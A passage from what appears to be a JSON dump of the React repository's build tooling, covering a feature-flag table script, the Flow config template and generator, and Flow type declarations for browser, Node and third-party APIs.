values) {\n        acc[key] = values[key];\n      }\n      return acc;\n    }, {});\n\n    if (new Set(Object.values(subset)).size !== 1) {\n      table[flag] = subset;\n    }\n  }\n\n  // Sort the table\n  let sorted = table;\n  if (isDiff || argv.sort) {\n    const sortChannel = argToHeader(isDiff ? argv.diff[0] : argv.sort);\n    const sortBy =\n      sortChannel === 'flag'\n        ? ([flagA], [flagB]) => {\n            return flagA.localeCompare(flagB);\n          }\n        : ([, rowA], [, rowB]) => {\n            return rowB[sortChannel]\n              .toString()\n              .localeCompare(rowA[sortChannel]);\n          };\n    sorted = Object.fromEntries(Object.entries(table).sort(sortBy));\n  }\n\n  return sorted;\n}\n\nfunction formatTable(tableData) {\n  // left align the flag names.\n  const maxLength = Math.max(\n    ...Object.keys(tableData).map(item => item.length)\n  );\n  const padded = {};\n  Object.keys(tableData).forEach(key => {\n    const newKey = key.padEnd(maxLength, ' ');\n    padded[newKey] = tableData[key];\n  });\n\n  return padded;\n}\n\nif (argv.csv) {\n  const table = buildTable();\n  const csvRows = [\n    `Flag name, ${FLAG_COLUMNS.join(', ')}`,\n    ...Object.keys(table).map(flag => {\n      const row = table[flag];\n      return `${flag}, ${FLAG_COLUMNS.map(col => row[col]).join(', ')}`;\n    }),\n  ];\n  fs.writeFile('./flags.csv', csvRows.join('\\n'), function (err) {\n    if (err) {\n      return console.log(err);\n    }\n    console.log('The file was saved to ./flags.csv');\n  });\n}\n\nif (argv.cleanup) {\n  const allPassingFlags = [];\n  const allFailingFlags = [];\n  const needsShippedExperimentFlags = [];\n  const earlyExperimentationFlags = [];\n  const internalOnlyFlags = [];\n\n  const diffedFlagColumns =\n    argv.diff[0] != null ? argv.diff.map(argToHeader) : FLAG_COLUMNS;\n\n  // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n  for (const flag of allFlagsUniqueFlags) {\n    const values = diffedFlagColumns.reduce((acc, key) => {\n      acc[key] = FLAG_CONFIG[key](flag);\n      return acc;\n    }, {});\n\n    const uniqueValues = new Set(Object.values(values));\n\n    if (\n      uniqueValues.size === 1 &&\n      (uniqueValues.has('✅') ||\n        typeof uniqueValues.values().next().value === 'number')\n    ) {\n      allPassingFlags.push(flag);\n    }\n\n    if (uniqueValues.size === 1 && uniqueValues.has('❌')) {\n      allFailingFlags.push(flag);\n    }\n\n    const internalVariantValues = INTERNAL_VARIANTS.filter(value =>\n      diffedFlagColumns.includes(value)\n    ).map(v => values[v]);\n    const ossVariantValues = OSS_VARIANTS.filter(value =>\n      diffedFlagColumns.includes(value)\n    ).map(v => values[v]);\n\n    if (\n      internalVariantValues.some(v => v === '✅') &&\n      ossVariantValues.every(v => v === '❌')\n    ) {\n      internalOnlyFlags.push(flag);\n    }\n\n    if (\n      internalVariantValues.some(v => v === '🧪') &&\n      (ossVariantValues.every(v => v === '❌') ||\n        (ossVariantValues.some(v => v === '❌') &&\n          values['OSS Experimental'] === '✅'))\n    ) {\n      earlyExperimentationFlags.push(flag);\n    }\n\n    if (\n      internalVariantValues.some(v => v === '🧪' || v === '❌') &&\n      ossVariantValues.every(v => v === '✅')\n    ) {\n      needsShippedExperimentFlags.push(flag);\n    }\n  }\n\n  if (allPassingFlags.length > 0) {\n    console.log('ALL VARIANTS PASS (✅)');\n    console.table(\n      formatTable(buildTable(flag => allPassingFlags.includes(flag)))\n    );\n  }\n\n  if (allFailingFlags.length > 0) {\n    console.log('ALL VARIANTS FAIL (❌)');\n    console.table(\n      formatTable(buildTable(flag => allFailingFlags.includes(flag)))\n    );\n  }\n\n  if (internalOnlyFlags.length > 0) {\n    console.log('INTERNAL ONLY (✅)');\n    console.table(\n      formatTable(buildTable(flag => internalOnlyFlags.includes(flag)))\n    );\n  }\n\n  if (earlyExperimentationFlags.length > 0) {\n    console.log('WAITING ON RESULTS (🧪)');\n    console.table(\n      formatTable(buildTable(flag => earlyExperimentationFlags.includes(flag)))\n    );\n  }\n\n  if (needsShippedExperimentFlags.length > 0) {\n    console.log('WAITING ON ROLLOUT (🧪)');\n    console.table(\n      formatTable(\n        buildTable(flag => needsShippedExperimentFlags.includes(flag))\n      )\n    );\n  }\n} else {\n  console.table(formatTable(buildTable()));\n}\n\nconsole.log(`\nLegend:\n  ✅ On\n  ❌ Off\n  💻 DEV\n  📋 TODO\n  📊 Profiling\n  🧪 Experiment\n`);\n"
  },
  {
    "path": "scripts/flow/config/flowconfig",
    "content": "[ignore]\n.*/scripts/bench/.*\n.*/build/.*\n.*/fixtures/.*\n# Any hidden directory\n.*/\\..*\n\n# These shims are copied into external projects:\n.*/rollup/shims/facebook-www/.*\n.*/rollup/shims/react-native/.*\n\n.*/node_modules/fbjs/lib/keyMirrorRecursive.js.flow\n.*/node_modules/resolve/test/.*\n.*/__mocks__/.*\n.*/__tests__/.*\n\n\n%REACT_RENDERER_FLOW_IGNORES%\n\n[libs]\n./node_modules/fbjs/flow/lib/dev.js\n./scripts/flow/environment.js\n./scripts/flow/react-devtools.js\n./scripts/flow/react-native-host-hooks.js\n./scripts/flow/xplat.js\n\n[lints]\nuntyped-type-import=error\ninternal-type=off\ndeprecated-type=off\nunsafe-object-assign=off\n\n[options]\nmunge_underscores=false\nreact.custom_jsx_typing=true\n\n# Substituted by createFlowConfig.js:\n%REACT_RENDERER_FLOW_OPTIONS%\n\n[version]\n%FLOW_VERSION%\n"
  },
  {
    "path": "scripts/flow/createFlowConfigs.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst chalk = require('chalk');\nconst fs = require('fs');\nconst path = require('path');\nconst mkdirp = require('mkdirp');\nconst inlinedHostConfigs = require('../shared/inlinedHostConfigs');\nconst flowVersion = require('../../package.json').devDependencies['flow-bin'];\n\nconst configTemplate = fs\n  .readFileSync(__dirname + '/config/flowconfig')\n  .toString();\n\n// stores all forks discovered during config generation\nconst allForks = new Set();\n// maps forked file to the base path containing it and it's forks (it's parent)\nconst forkedFiles = new Map();\n\nfunction findForks(file) {\n  const basePath = path.join(file, '..');\n  const forksPath = path.join(basePath, 'forks');\n  const forks = fs.readdirSync(path.join('packages', forksPath));\n  forks.forEach(f => allForks.add('forks/' + f));\n  forkedFiles.set(file, basePath);\n  return basePath;\n}\n\nfunction addFork(forks, renderer, file) {\n  let basePath = forkedFiles.get(file);\n  if (!basePath) {\n    basePath = findForks(file);\n  }\n\n  const baseFilename = file.slice(basePath.length + 1);\n\n  const parts = renderer.split('-');\n  while (parts.length) {\n    const candidate = `forks/${baseFilename}.${parts.join('-')}.js`;\n    if (allForks.has(candidate)) {\n      forks.set(candidate, `${baseFilename}$$`);\n      return;\n    }\n    parts.pop();\n  }\n  throw new Error(`Cannot find fork for ${file} for renderer ${renderer}`);\n}\n\nfunction writeConfig(\n  renderer,\n  rendererInfo,\n  isServerSupported,\n  isFlightSupported,\n) {\n  const folder = __dirname + '/' + renderer;\n  mkdirp.sync(folder);\n\n  isFlightSupported =\n    isFlightSupported === true ||\n    (isServerSupported && isFlightSupported !== false);\n\n  const serverRenderer = isServerSupported ? renderer : 'custom';\n  const flightRenderer = isFlightSupported ? renderer : 'custom';\n\n  const ignoredPaths = [];\n\n  inlinedHostConfigs.forEach(otherRenderer => {\n    if (otherRenderer === rendererInfo) {\n      return;\n    }\n    otherRenderer.paths.forEach(otherPath => {\n      if (rendererInfo.paths.indexOf(otherPath) !== -1) {\n        return;\n      }\n      ignoredPaths.push(`.*/packages/${otherPath}`);\n    });\n  });\n\n  const forks = new Map();\n  addFork(forks, renderer, 'react-reconciler/src/ReactFiberConfig');\n  addFork(forks, serverRenderer, 'react-server/src/ReactServerStreamConfig');\n  addFork(forks, serverRenderer, 'react-server/src/ReactFizzConfig');\n  addFork(forks, flightRenderer, 'react-server/src/ReactFlightServerConfig');\n  addFork(forks, flightRenderer, 'react-client/src/ReactFlightClientConfig');\n  forks.set(\n    'react-devtools-shared/src/config/DevToolsFeatureFlags.default',\n    'react-devtools-feature-flags',\n  );\n\n  allForks.forEach(fork => {\n    if (!forks.has(fork)) {\n      ignoredPaths.push(`.*/packages/.*/${fork}`);\n    }\n  });\n\n  let moduleMappings = '';\n  forks.forEach((source, target) => {\n    moduleMappings += `module.name_mapper='${source.slice(\n      source.lastIndexOf('/') + 1,\n    )}' -> '${target}'\\n`;\n  });\n\n  const config = configTemplate\n    .replace('%REACT_RENDERER_FLOW_OPTIONS%', moduleMappings.trim())\n    .replace('%REACT_RENDERER_FLOW_IGNORES%', ignoredPaths.join('\\n'))\n    .replace('%FLOW_VERSION%', flowVersion);\n\n  const disclaimer = `\n# ---------------------------------------------------------------#\n# NOTE: this file is generated.                                  #\n# If you want to edit it, open ./scripts/flow/config/flowconfig. #\n# Then run Yarn for changes to take effect.                      #\n# ---------------------------------------------------------------#\n  `.trim();\n\n  const configFile = folder + '/.flowconfig';\n  let oldConfig;\n  try {\n    oldConfig = fs.readFileSync(configFile).toString();\n  } catch (err) {\n    oldConfig = null;\n  }\n  const newConfig = `\n${disclaimer}\n${config}\n${disclaimer}\n`.trim();\n\n  if (newConfig !== oldConfig) {\n    fs.writeFileSync(configFile, newConfig);\n    console.log(chalk.dim('Wrote a Flow config to ' + configFile));\n  }\n}\n\n// Write multiple configs in different folders\n// so that we can run those checks in parallel if we want.\ninlinedHostConfigs.forEach(rendererInfo => {\n  if (rendererInfo.isFlowTyped) {\n    writeConfig(\n      rendererInfo.shortName,\n      rendererInfo,\n      rendererInfo.isServerSupported,\n      rendererInfo.isFlightSupported,\n    );\n  }\n});\n"
  },
  {
    "path": "scripts/flow/environment.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/* eslint-disable */\n\ndeclare const __PROFILE__: boolean;\ndeclare const __EXPERIMENTAL__: boolean;\ndeclare const __VARIANT__: boolean;\n\ndeclare const __REACT_DEVTOOLS_GLOBAL_HOOK__: any; /*?{\n  inject: ?((stuff: Object) => void)\n};*/\n\ndeclare const reportError: (error: mixed) => void;\n\ndeclare module 'create-react-class' {\n  declare const exports: $FlowFixMe;\n}\n\ndeclare interface ConsoleTask {\n  run<T>(f: () => T): T;\n}\n\n// $FlowFixMe[libdef-override]\ndeclare var console: {\n  assert(condition: mixed, ...data: Array<any>): void,\n  clear(): void,\n  count(label?: string): void,\n  countReset(label?: string): void,\n  debug(...data: Array<any>): void,\n  dir(...data: Array<any>): void,\n  dirxml(...data: Array<any>): void,\n  error(...data: Array<any>): void,\n  _exception(...data: Array<any>): void,\n  group(...data: Array<any>): void,\n  groupCollapsed(...data: Array<any>): void,\n  groupEnd(): void,\n  info(...data: Array<any>): void,\n  log(...data: Array<any>): void,\n  profile(name?: string): void,\n  profileEnd(name?: string): void,\n  table(\n    tabularData:\n      | {[key: string]: any, ...}\n      | Array<{[key: string]: any, ...}>\n      | Array<Array<any>>,\n  ): void,\n  time(label?: string): void,\n  timeEnd(label: string): void,\n  timeStamp(\n    label?: string,\n    start?: string | number,\n    end?: string | number,\n    trackName?: string,\n    trackGroup?: string,\n    color?: string,\n  ): void,\n  timeLog(label?: string, ...data?: Array<any>): void,\n  trace(...data: Array<any>): void,\n  warn(...data: Array<any>): void,\n  createTask(label: string): ConsoleTask,\n  ...\n};\n\ntype ScrollTimelineOptions = {\n  source: Element,\n  axis?: 'block' | 'inline' | 'x' | 'y',\n  ...\n};\n\ndeclare class ScrollTimeline extends AnimationTimeline {\n  constructor(options?: ScrollTimelineOptions): void;\n  axis: 'block' | 'inline' | 'x' | 'y';\n  source: Element;\n}\n\n// Flow hides the props of React$Element, this overrides it to unhide\n// them for React internals.\n// $FlowFixMe[libdef-override]\ndeclare opaque type React$Element<\n  +ElementType: React$ElementType,\n  +P = React$ElementProps<ElementType>,\n>: {\n  +type: ElementType,\n  +props: P,\n  +key: React$Key | null,\n  +ref: any,\n};\n\ndeclare type React$CustomJSXFactory = any;\n\ndeclare const trustedTypes: {\n  isHTML: (value: any) => boolean,\n  isScript: (value: any) => boolean,\n  isScriptURL: (value: any) => boolean,\n  // TrustedURLs are deprecated and will be removed soon: https://github.com/WICG/trusted-types/pull/204\n  isURL?: (value: any) => boolean,\n};\n\n// ReactFeatureFlags www fork\ndeclare module 'ReactFeatureFlags' {\n  declare module.exports: any;\n}\n\n// ReactFiberErrorDialog www fork\ndeclare module 'ReactFiberErrorDialog' {\n  declare module.exports: {showErrorDialog: (error: mixed) => boolean, ...};\n}\n\n// EventListener www fork\ndeclare module 'EventListener' {\n  declare module.exports: {\n    listen: (\n      target: EventTarget,\n      type: string,\n      callback: Function,\n      priority?: number,\n      options?: {passive: boolean, ...},\n    ) => mixed,\n    capture: (target: EventTarget, type: string, callback: Function) => mixed,\n    captureWithPassiveFlag: (\n      target: EventTarget,\n      type: string,\n      callback: Function,\n      passive: boolean,\n    ) => mixed,\n    bubbleWithPassiveFlag: (\n      target: EventTarget,\n      type: string,\n      callback: Function,\n      passive: boolean,\n    ) => mixed,\n    ...\n  };\n}\n\ndeclare function __webpack_chunk_load__(id: string): Promise<mixed>;\ndeclare function __webpack_get_script_filename__(id: string): string;\ndeclare const __webpack_require__: ((id: string) => any) & {\n  u: string => string,\n};\n\ndeclare function __turbopack_load_by_url__(id: string): Promise<mixed>;\ndeclare const __turbopack_require__: ((id: string) => any) & {\n  u: string => string,\n};\n\ndeclare var parcelRequire: {\n  (id: string): any,\n  load: (url: string) => Promise<mixed>,\n  extendImportMap: (importMap: {[string]: string}) => void,\n  meta: {\n    publicUrl: string,\n    devServer: string | null,\n  },\n};\n\ndeclare module 'pg' {\n  declare const Pool: (options: mixed) => {\n    query: (query: string, values?: Array<mixed>) => void,\n  };\n}\n\ndeclare module 'busboy' {\n  import type {Writable, Readable} from 'stream';\n\n  declare interface Info {\n    encoding: string;\n    mimeType: string;\n  }\n\n  declare interface FileInfo extends Info {\n    filename: string;\n  }\n\n  declare interface FieldInfo extends Info {\n    nameTruncated: boolean;\n    valueTruncated: boolean;\n  }\n\n  declare interface BusboyEvents {\n    file: (name: string, stream: Readable, info: FileInfo) => void;\n    field: (name: string, value: string, info: FieldInfo) => void;\n    partsLimit: () => void;\n    filesLimit: () => void;\n    fieldsLimit: () => void;\n    error: (error: mixed) => void;\n    close: () => void;\n  }\n  declare interface Busboy extends Writable {\n    addListener<Event: $Keys<BusboyEvents>>(\n      event: Event,\n      listener: BusboyEvents[Event],\n    ): Busboy;\n    addListener(\n      event: string | symbol,\n      listener: (...args: any[]) => void,\n    ): Busboy;\n\n    on<Event: $Keys<BusboyEvents>>(\n      event: Event,\n      listener: BusboyEvents[Event],\n    ): Busboy;\n    on(event: string | symbol, listener: (...args: any[]) => void): Busboy;\n\n    once<Event: $Keys<BusboyEvents>>(\n      event: Event,\n      listener: BusboyEvents[Event],\n    ): Busboy;\n    once(event: string | symbol, listener: (...args: any[]) => void): Busboy;\n\n    removeListener<Event: $Keys<BusboyEvents>>(\n      event: Event,\n      listener: BusboyEvents[Event],\n    ): Busboy;\n    removeListener(\n      event: string | symbol,\n      listener: (...args: any[]) => void,\n    ): Busboy;\n\n    off<Event: $Keys<BusboyEvents>>(\n      event: Event,\n      listener: BusboyEvents[Event],\n    ): Busboy;\n    off(event: string | symbol, listener: (...args: any[]) => void): Busboy;\n\n    prependListener<Event: $Keys<BusboyEvents>>(\n      event: Event,\n      listener: BusboyEvents[Event],\n    ): Busboy;\n    prependListener(\n      event: string | symbol,\n      listener: (...args: any[]) => void,\n    ): Busboy;\n\n    prependOnceListener<Event: $Keys<BusboyEvents>>(\n      event: Event,\n      listener: BusboyEvents[Event],\n    ): Busboy;\n    prependOnceListener(\n      event: string | symbol,\n      listener: (...args: any[]) => void,\n    ): Busboy;\n  }\n}\n\ndeclare module 'pg/lib/utils' {\n  declare module.exports: {\n    prepareValue(val: any): mixed,\n  };\n}\n\n// Node\ndeclare module 'async_hooks' {\n  declare class AsyncLocalStorage<T> {\n    disable(): void;\n    getStore(): T | void;\n    run<R>(store: T, callback: (...args: any[]) => R, ...args: any[]): R;\n    enterWith(store: T): void;\n  }\n  declare class AsyncResource {\n    asyncId(): number;\n  }\n  declare function executionAsyncId(): number;\n  declare function executionAsyncResource(): AsyncResource;\n  declare function triggerAsyncId(): number;\n  declare type HookCallbacks = {\n    init?: (\n      asyncId: number,\n      type: string,\n      triggerAsyncId: number,\n      resource: AsyncResource,\n    ) => void,\n    before?: (asyncId: number) => void,\n    after?: (asyncId: number) => void,\n    promiseResolve?: (asyncId: number) => void,\n    destroy?: (asyncId: number) => void,\n  };\n  declare class AsyncHook {\n    enable(): this;\n    disable(): this;\n  }\n  declare function createHook(callbacks: HookCallbacks): AsyncHook;\n}\n\n// Edge\ndeclare class AsyncLocalStorage<T> {\n  disable(): void;\n  getStore(): T | void;\n  run<R>(store: T, callback: (...args: any[]) => R, ...args: any[]): R;\n  enterWith(store: T): void;\n}\n\ndeclare const async_hooks: {\n  createHook(callbacks: any): any,\n  executionAsyncId(): number,\n};\n\ndeclare module 'jest-diff' {\n  declare type CompareKeys = ((a: string, b: string) => number) | void;\n  declare type DiffOptions = {\n    aAnnotation?: string,\n    aColor?: (arg: string) => string,\n    aIndicator?: string,\n    bAnnotation?: string,\n    bColor?: (arg: string) => string,\n    bIndicator?: string,\n    changeColor?: (arg: string) => string,\n    changeLineTrailingSpaceColor?: (arg: string) => string,\n    commonColor?: (arg: string) => string,\n    commonIndicator?: string,\n    commonLineTrailingSpaceColor?: (arg: string) => string,\n    contextLines?: number,\n    emptyFirstOrLastLinePlaceholder?: string,\n    expand?: boolean,\n    includeChangeCounts?: boolean,\n    omitAnnotationLines?: boolean,\n    patchColor?: (arg: string) => string,\n    compareKeys?: CompareKeys,\n  };\n  declare function diff(a: any, b: any, options?: DiffOptions): string;\n}\n\ndeclare const Bun: {\n  hash(\n    input: string | $TypedArray | DataView | ArrayBuffer | SharedArrayBuffer,\n  ): number,\n};\n\n// Navigation API\n\ndeclare const navigation: Navigation;\n\ninterface NavigationResult {\n  committed: Promise<NavigationHistoryEntry>;\n  finished: Promise<NavigationHistoryEntry>;\n}\n\ndeclare class Navigation extends EventTarget {\n  entries(): NavigationHistoryEntry[];\n  +currentEntry: NavigationHistoryEntry | null;\n  updateCurrentEntry(options: NavigationUpdateCurrentEntryOptions): void;\n  +transition: NavigationTransition | null;\n\n  +canGoBack: boolean;\n  +canGoForward: boolean;\n\n  navigate(url: string, options?: NavigationNavigateOptions): NavigationResult;\n  reload(options?: NavigationReloadOptions): NavigationResult;\n\n  traverseTo(key: string, options?: NavigationOptions): NavigationResult;\n  back(options?: NavigationOptions): NavigationResult;\n  forward(options?: NavigationOptions): NavigationResult;\n\n  onnavigate: ((this: Navigation, ev: NavigateEvent) => any) | null;\n  onnavigatesuccess: ((this: Navigation, ev: Event) => any) | null;\n  onnavigateerror: ((this: Navigation, ev: ErrorEvent) => any) | null;\n  oncurrententrychange:\n    | ((this: Navigation, ev: NavigationCurrentEntryChangeEvent) => any)\n    | null;\n\n  // TODO: Implement addEventListener overrides. Doesn't seem like Flow supports this.\n}\n\ndeclare class NavigationTransition {\n  +navigationType: NavigationTypeString;\n  +from: NavigationHistoryEntry;\n  +finished: Promise<void>;\n}\n\ninterface NavigationHistoryEntryEventMap {\n  dispose: Event;\n}\n\ninterface NavigationHistoryEntry extends EventTarget {\n  +key: string;\n  +id: string;\n  +url: string | null;\n  +index: number;\n  +sameDocument: boolean;\n\n  getState(): mixed;\n\n  ondispose: ((this: NavigationHistoryEntry, ev: Event) => any) | null;\n\n  // TODO: Implement addEventListener overrides. Doesn't seem like Flow supports this.\n}\n\ndeclare var NavigationHistoryEntry: {\n  prototype: NavigationHistoryEntry,\n  new(): NavigationHistoryEntry,\n};\n\ntype NavigationTypeString = 'reload' | 'push' | 'replace' | 'traverse';\n\ninterface NavigationUpdateCurrentEntryOptions {\n  state: mixed;\n}\n\ninterface NavigationOptions {\n  info?: mixed;\n}\n\ninterface NavigationNavigateOptions extends NavigationOptions {\n  state?: mixed;\n  history?: 'auto' | 'push' | 'replace';\n}\n\ninterface NavigationReloadOptions extends NavigationOptions {\n  state?: mixed;\n}\n\ndeclare class NavigationCurrentEntryChangeEvent extends Event {\n  constructor(type: string, eventInit?: any): void;\n\n  +navigationType: NavigationTypeString | null;\n  +from: NavigationHistoryEntry;\n}\n\ndeclare class NavigateEvent extends Event {\n  constructor(type: string, eventInit?: any): void;\n\n  +navigationType: NavigationTypeString;\n  +canIntercept: boolean;\n  +userInitiated: boolean;\n  +hashChange: boolean;\n  +hasUAVisualTransition: boolean;\n  +destination: NavigationDestination;\n  +signal: AbortSignal;\n  +formData: FormData | null;\n  +downloadRequest: string | null;\n  +info?: mixed;\n\n  intercept(options?: NavigationInterceptOptions): void;\n  scroll(): void;\n}\n\ninterface NavigationInterceptOptions {\n  handler?: () => Promise<void>;\n  focusReset?: 'after-transition' | 'manual';\n  scroll?: 'after-transition' | 'manual';\n}\n\ndeclare class NavigationDestination {\n  +url: string;\n  +key: string | null;\n  +id: string | null;\n  +index: number;\n  +sameDocument: boolean;\n\n  getState(): mixed;\n}\n\n// Ported from definitely-typed\ndeclare module 'rbush' {\n  declare interface BBox {\n    minX: number;\n    minY: number;\n    maxX: number;\n    maxY: number;\n  }\n\n  declare export default class RBush<T> {\n    /**\n     * Constructs an `RBush`, a high-performance 2D spatial index for points and\n     * rectangles. Based on an optimized __R-tree__ data structure with\n     * __bulk-insertion__ support.\n     *\n     * @param maxEntries An optional argument to RBush defines the maximum\n     *                   number of entries in a tree node. `9` (used by default)\n     *                   is a reasonable choice for most applications. Higher\n     *                   value means faster insertion and slower search, and\n     *                   vice versa.\n     */\n    constructor(maxEntries?: number): void;\n\n    /**\n     * Inserts an item. To insert many items at once, use `load()`.\n     *\n     * @param item The item to insert.\n     */\n    insert(item: T): RBush<T>;\n\n    /**\n     * Bulk-inserts the given items into the tree.\n     *\n     * Bulk insertion is usually ~2-3 times faster than inserting items one by\n     * one. After bulk loading (bulk insertion into an empty tree), subsequent\n     * query performance is also ~20-30% better.\n     *\n     * Note that when you do bulk insertion into an existing tree, it bulk-loads\n     * the given data into a separate tree and inserts the smaller tree into the\n     * larger tree. This means that bulk insertion works very well for clustered\n     * data (where items in one update are close to each other), but makes query\n     * performance worse if the data is scattered.\n     *\n     * @param items The items to load.\n     */\n    load(items: $ReadOnlyArray<T>): RBush<T>;\n\n    /**\n     * Removes a previously inserted item, comparing by reference.\n     *\n     * To remove all items, use `clear()`.\n     *\n     * @param item The item to remove.\n     * @param equals A custom function that allows comparing by value instead.\n     *               Useful when you have only a copy of the object you need\n     *               removed (e.g. loaded from server).\n     */\n    remove(item: T, equals?: (a: T, b: T) => boolean): RBush<T>;\n\n    /**\n     * Removes all items.\n     */\n    clear(): RBush<T>;\n\n    /**\n     * Returns an array of data items (points or rectangles) that the given\n     * bounding box intersects.\n     *\n     * Note that the search method accepts a bounding box in `{minX, minY, maxX,\n     * maxY}` format regardless of the data format.\n     *\n     * @param box The bounding box in which to search.\n     */\n    search(box: BBox): T[];\n\n    /**\n     * Returns all items contained in the tree.\n     */\n    all(): T[];\n\n    /**\n     * Returns `true` if there are any items intersecting the given bounding\n     * box, otherwise `false`.\n     *\n     * @param box The bounding box in which to search.\n     */\n    collides(box: BBox): boolean;\n\n    /**\n     * Returns the bounding box for the provided item.\n     *\n     * By default, `RBush` assumes the format of data points to be an object\n     * with `minX`, `minY`, `maxX`, and `maxY`. However, you can specify a\n     * custom item format by overriding `toBBox()`, `compareMinX()`, and\n     * `compareMinY()`.\n     *\n     * @example\n     * class MyRBush<T> extends RBush<T> {\n     *   toBBox([x, y]) { return { minX: x, minY: y, maxX: x, maxY: y }; }\n     *   compareMinX(a, b) { return a.x - b.x; }\n     *   compareMinY(a, b) { return a.y - b.y; }\n     * }\n     * const tree = new MyRBush<[number, number]>();\n     * tree.insert([20, 50]); // accepts [x, y] points\n     *\n     * @param item The item whose bounding box should be returned.\n     */\n    toBBox(item: T): BBox;\n\n    /**\n     * Compares the minimum x coordinate of two items. Returns -1 if `a`'s\n     * x-coordinate is smaller, 1 if `b`'s x coordinate is smaller, or 0 if\n     * they're equal.\n     *\n     * By default, `RBush` assumes the format of data points to be an object\n     * with `minX`, `minY`, `maxX`, and `maxY`. However, you can specify a\n     * custom item format by overriding `toBBox()`, `compareMinX()`, and\n     * `compareMinY()`.\n     *\n     * @example\n     * class MyRBush<T> extends RBush<T> {\n     *   toBBox([x, y]) { return { minX: x, minY: y, maxX: x, maxY: y }; }\n     *   compareMinX(a, b) { return a.x - b.x; }\n     *   compareMinY(a, b) { return a.y - b.y; }\n     * }\n     * const tree = new MyRBush<[number, number]>();\n     * tree.insert([20, 50]); // accepts [x, y] points\n     *\n     * @param a The first item to compare.\n     * @param b The second item to compare.\n     */\n    compareMinX(a: T, b: T): number;\n\n    /**\n     * Compares the minimum y coordinate of two items. Returns -1 if `a`'s\n     * x-coordinate is smaller, 1 if `b`'s x coordinate is smaller, or 0 if\n     * they're equal.\n     *\n     * By default, `RBush` assumes the format of data points to be an object\n     * with `minX`, `minY`, `maxX`, and `maxY`. However, you can specify a\n     * custom item format by overriding `toBBox()`, `compareMinX()`, and\n     * `compareMinY()`.\n     *\n     * @example\n     * class MyRBush<T> extends RBush<T> {\n     *   toBBox([x, y]) { return { minX: x, minY: y, maxX: x, maxY: y }; }\n     *   compareMinX(a, b) { return a.x - b.x; }\n     *   compareMinY(a, b) { return a.y - b.y; }\n     * }\n     * const tree = new MyRBush<[number, number]>();\n     * tree.insert([20, 50]); // accepts [x, y] points\n     *\n     * @param a The first item to compare.\n     * @param b The second item to compare.\n     */\n    compareMinY(a: T, b: T): number;\n\n    /**\n     * Exports the tree's contents as a JSON object.\n     *\n     * Importing and exporting as JSON allows you to use RBush on both the\n     * server (using Node.js) and the browser combined, e.g. first indexing the\n     * data on the server and and then importing the resulting tree data on the\n     * client for searching.\n     *\n     * Note that the `maxEntries` option from the constructor must be the same\n     * in both trees for export/import to work properly.\n     */\n    toJSON(): any;\n\n    /**\n     * Imports previously exported data into the tree (i.e., data that was\n     * emitted by `toJSON()`).\n     *\n     * Importing and exporting as JSON allows you to use RBush on both the\n     * server (using Node.js) and the browser combined, e.g. first indexing the\n     * data on the server and and then importing the resulting tree data on the\n     * client for searching.\n     *\n     * Note that the `maxEntries` option from the constructor must be the same\n     * in both trees for export/import to work properly.\n     *\n     * @param data The previously exported JSON data.\n     */\n    fromJSON(data: any): RBush<T>;\n  }\n}\n\ndeclare class CSS {\n  static escape(str: string): string;\n}\n"
  },
  {
    "path": "scripts/flow/react-devtools.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/* eslint-disable no-unused-vars */\n\ndeclare const __EXTENSION__: boolean;\ndeclare const __TEST__: boolean;\n\ndeclare const __IS_FIREFOX__: boolean;\ndeclare const __IS_CHROME__: boolean;\ndeclare const __IS_EDGE__: boolean;\ndeclare const __IS_NATIVE__: boolean;\n\ninterface ExtensionAction {\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/action/setIcon} */\n  setIcon(details: {\n    tabId: number,\n    path?: string | {[iconSize: string]: string},\n  }): void;\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/action/setPopup} */\n  setPopup(details: {tabId: number, popup: string}): void;\n}\n\ninterface ExtensionDevtools {\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools/inspectedWindow} */\n  inspectedWindow: $FlowFixMe;\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools/network} */\n  network: $FlowFixMe;\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools/panels} */\n  panels: $FlowFixMe;\n}\n\ninterface ExtensionEvent<Listener: Function> {\n  addListener(callback: Listener): void;\n  removeListener(callback: Listener): void;\n}\n\n/** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/Tab} */\n// TODO: Only covers used properties. Extend as needed.\ninterface ExtensionTab {\n  id?: number;\n}\n\n/** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/MessageSender} */\n// TODO: Only covers used properties. Extend as needed.\ninterface ExtensionRuntimeSender {\n  tab?: ExtensionTab;\n}\n\n/** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/Port} */\n// TODO: Only covers used properties. Extend as needed.\ninterface ExtensionRuntimePort {\n  disconnect(): void;\n  name: string;\n  onMessage: ExtensionEvent<(message: any, port: ExtensionRuntimePort) => void>;\n  onDisconnect: ExtensionEvent<(port: ExtensionRuntimePort) => void>;\n  postMessage(message: mixed, transferable?: Array<mixed>): void;\n  sender?: ExtensionRuntimeSender;\n}\n\ninterface ExtensionMessageSender {\n  id?: string;\n  url?: string;\n  tab?: {\n    id: number,\n    url: string,\n  };\n}\n\ninterface ExtensionRuntime {\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/connect} */\n  connect(connectInfo?: {\n    name?: string,\n    includeTlsChannelId?: boolean,\n  }): ExtensionRuntimePort;\n  connect(\n    extensionId: string,\n    connectInfo?: {name?: string, includeTlsChannelId?: boolean},\n  ): ExtensionRuntimePort;\n  /** @see {@link 